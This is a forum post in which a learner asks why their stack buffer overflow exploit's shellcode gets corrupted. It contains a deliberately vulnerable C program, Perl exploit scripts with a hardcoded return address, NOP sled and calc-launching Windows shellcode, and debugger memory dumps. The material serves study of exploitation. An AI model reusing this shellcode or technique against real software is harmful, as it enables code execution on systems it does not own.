Hi All,
I've recently been mucking about with buffer overflows, and I've had this question hanging for a while - just wondered if anyone could point me in the right direction:
Sample vulnerable code in question: overflowme.c
#include <stdio.h>
#include <string.h>
void copyme(char *input[])
{
char name[256];
strcpy(name,input);
}
int main(int argc, char **argv)
{
char intro[214]; //simulate stack
copyme(argv[1]);
return 0;
}
Sample Exploit in question:
#!/usr/local/bin/perl
$buffer = "A"x256; #fills up the variable space
$buffer .= "A"x4; #should overwrite the ebp address
$retadd .= "\x7B\x46\x86\x7C"; #should overwrite the return address with 7C86467B
$nopsled .= "\x90"x7;
$shellcode = #calls calc.exe
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2".
"\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4".
"\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8".
"\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c".
"\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7".
"\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5".
"\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a".
"\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9".
"\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95".
"\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9".
"\x87\x61\xf1\x91";
#optional line to debug with olly
#exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer$retadd$nopsled$shellcode\"";
exec "./overflowme.exe \"$buffer$retadd$nopsled$shellcode\"";
This exploit script works fine. what I'm trying to do is attempt to inject the shellcode prior to the return address as an excercise in manually manipulating the registers later on.
e.g.
inject shellcode
fill out the rest of the buffer
overwrite return address
manipulate register to point to beginning of shellcode
jump to register
but the problem I'm having is that the shellcode is not being copied to the stack - here's what I'm trying to run:
#!/usr/local/bin/perl
$buffer = "A"x92; #fills up the variable space
$buffer .= "A"x4; #should overwrite the ebp address
$buffer .= "\x7B\x46\x86\x7C"; #should overwrite the return address with 7C86467B
$buffer .= "\x90"x7;
$buffer .= "A"x100; #should be easily visable past the ret point
$nopsled .= "\x90"x7;
$shellcode .= #164 bytes
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe2".
"\x61\xf1\x91\x83\xeb\xfc\xe2\xf4\x1e\x89\xb5\x91\xe2\x61\x7a\xd4".
"\xde\xea\x8d\x94\x9a\x60\x1e\x1a\xad\x79\x7a\xce\xc2\x60\x1a\xd8".
"\x69\x55\x7a\x90\x0c\x50\x31\x08\x4e\xe5\x31\xe5\xe5\xa0\x3b\x9c".
"\xe3\xa3\x1a\x65\xd9\x35\xd5\x95\x97\x84\x7a\xce\xc6\x60\x1a\xf7".
"\x69\x6d\xba\x1a\xbd\x7d\xf0\x7a\x69\x7d\x7a\x90\x09\xe8\xad\xb5".
"\xe6\xa2\xc0\x51\x86\xea\xb1\xa1\x67\xa1\x89\x9d\x69\x21\xfd\x1a".
"\x92\x7d\x5c\x1a\x8a\x69\x1a\x98\x69\xe1\x41\x91\xe2\x61\x7a\xf9".
"\xde\x3e\xc0\x67\x82\x37\x78\x69\x61\xa1\x8a\xc1\x8a\x91\x7b\x95".
"\xbd\x09\x69\x6f\x68\x6f\xa6\x6e\x05\x02\x90\xfd\x81\x4f\x94\xe9".
"\x87\x61\xf1\x91";
exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$nopsled$shellcode$buffer\"";
#exec "./overflowme.exe \"$nopsled$shellcode$buffer\"";
at the command that copies to the register:
0040152E |. F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
everything passed into the program is present in the heap:
00144C78 90 90 90 90 90 90 90 2B C9 83 E9 DD D9 EE D9 74 +Ƀt
00144C88 24 F4 5B 81 73 13 E2 61 F1 91 83 EB FC E2 F4 1E $[sa
00144C98 89 B5 91 E2 61 7A D4 DE EA 8D 94 9A 60 1E 1A AD azꍔ`
00144CA8 79 7A CE C2 60 1A D8 69 55 7A 90 0C 50 31 08 4E yz`iUz.P1N
00144CB8 E5 31 E5 E5 A0 3B 9C E3 A3 1A 65 D9 35 D5 95 97 1 ;e5Օ
00144CC8 84 7A CE C6 60 1A F7 69 6D BA 1A BD 7D F0 7A 69 z`im}zi
00144CD8 7D 7A 90 09 E8 AD B5 E6 A2 C0 51 86 EA B1 A1 67 }z.譵Q걡g
00144CE8 A1 89 9D 69 21 FD 1A 92 7D 5C 1A 8A 69 1A 98 69 i!}\ii
00144CF8 E1 41 91 E2 61 7A F9 DE 3E C0 67 82 37 78 69 61 Aaz>g7xia
00144D08 A1 8A C1 8A 91 7B 95 BD 00 69 6F 68 6F A6 6E 05 {.iohon
00144D18 02 90 FD 81 4F 94 E9 87 61 F1 91 41 41 41 41 41 OaAAAAA
00144D28 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00144D38 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00144D48 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00144D58 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00144D68 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00144D78 41 41 41 41 41 41 41 41 41 41 41 7B 46 86 7C 90 AAAAAAAAAAA{F|
00144D88 90 90 90 90 90 90
..etc
but at this point the ecx register is set to 99h (153) which means it will copy up to the \x09 on the second last line of the shellcode and then stop. - looking at the heap, it seems that the shellcode has been corrupted somewhat as that character is now a null. 09h is a tab character - would the commandline be interpreting it as a null char? I wouldn't have thought so and in any case, there's another one in the heap at 00144CD8+3.
What's going on here?